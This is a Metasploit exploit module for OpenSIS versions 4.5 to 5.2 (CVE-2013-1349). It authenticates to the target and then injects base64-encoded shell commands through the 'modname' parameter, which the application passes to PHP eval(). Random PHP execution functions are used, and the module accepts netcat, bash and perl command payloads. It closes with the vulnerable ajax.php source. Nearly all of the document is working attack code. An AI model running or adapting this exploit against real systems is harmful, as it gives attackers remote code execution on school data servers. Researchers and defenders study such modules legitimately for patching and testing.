OpenSIS 'modname' - PHP Code Execution Exploit

:
25.12.2013
:
OpenSIS 4.5 - 5.2
:

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "OpenSIS 'modname' PHP Code Execution",
'Description' => %q{
This module exploits a PHP code execution vulnerability in OpenSIS
versions 4.5 to 5.2 which allows any authenticated user to execute
arbitrary PHP code under the context of the web-server user.
The 'ajax.php' file calls 'eval()' with user controlled data from
the 'modname' parameter.
},
'License' => MSF_LICENSE,
'Author' =>
[
'EgiX', # Discovery
'Brendan Coles <bcoles[at]gmail.com>' # msf exploit
],
'References' =>
[
['CVE', '2013-1349'],
['OSVDB', '100676'],
['URL', 'http://karmainsecurity.com/KIS-2013-10']
['URL', 'http://sourceforge.net/p/opensis-ce/bugs/59/']
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet bash netcat netcat-e perl ruby python',
}
},
'DefaultOptions' =>
{
'ExitFunction' => 'none'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
# Tested on OpenSIS versions 4.9 and 5.2 (Ubuntu Linux)
['OpenSIS version 4.5 to 5.2', { 'auto' => true }]
],
'Privileged' => false,
'DisclosureDate' => 'Dec 04 2012',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI for OpenSIS', '/opensis/']),
OptString.new('USERNAME', [true, 'The username for OpenSIS']),
OptString.new('PASSWORD', [true, 'The password for OpenSIS'])
], self.class)
end

#
# Login
#
def login(user, pass)
@cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
print_status("#{peer} - Authenticating as user '#{user}'")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "index.php"),
'cookie' => @cookie,
'vars_post' => Hash[{
'USERNAME' => user,
'PASSWORD' => pass,
}.to_a.shuffle]
})
if res and res.code == 200 and res.body =~ /Portal\.php/
print_good("#{peer} - Authenticated as user '#{user}'")
return true
else
print_error("#{peer} - Authenticating as user '#{user}' failed")
return false
end
end

#
# Send command for execution
#
def execute_command(cmd, opts = { :php_function => 'system' } )
code = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd+"&"))
junk = rand_text_alphanumeric(rand(10)+6)
print_status("#{peer} - Sending payload (#{code.length} bytes)")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax.php'),
'cookie' => @cookie,
'vars_post' => {
'modname' => "#{junk}?#{junk}=#{junk}';#{opts[:php_function]}(base64_decode('#{code}'));//"
}
})
return res
end

#
# Check credentials are valid and confirm command execution
#
def check
return Exploit::CheckCode::Unknown unless login(datastore['USERNAME'], datastore['PASSWORD'])
fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10)
print_status("#{peer} - Sending check")
res = execute_command("echo #{fingerprint}")
if res and res.body =~ /align=center>#{fingerprint}/
return Exploit::CheckCode::Vulnerable
elsif res
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Unknown
end

def exploit
return unless login(datastore['USERNAME'], datastore['PASSWORD'])
php_function = [
'exec',
'shell_exec',
'passthru',
'system'
].sample
res = execute_command(payload.encoded, { :php_function => php_function })
if res and res.code == 200 and res.body =~ /hacking_log/i
print_good("#{peer} - Payload sent successfully")
else
fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed")
end
end
end

#
# Source
#
=begin ajax.php
90: if(strpos($_REQUEST['modname'],'?')!==false)
91: {
92: $vars = substr($_REQUEST['modname'],(strpos($_REQUEST['modname'],'?')+1));
93: $modname = substr($_REQUEST['modname'],0,strpos($_REQUEST['modname'],'?'));
94:
95: $vars = explode('?',$vars);
96: foreach($vars as $code)
97: {
98: $code = decode_unicode_url("\$_REQUEST['".str_replace('=',"']='",$code)."';");
99: eval($code);
100: }
101: }
=end

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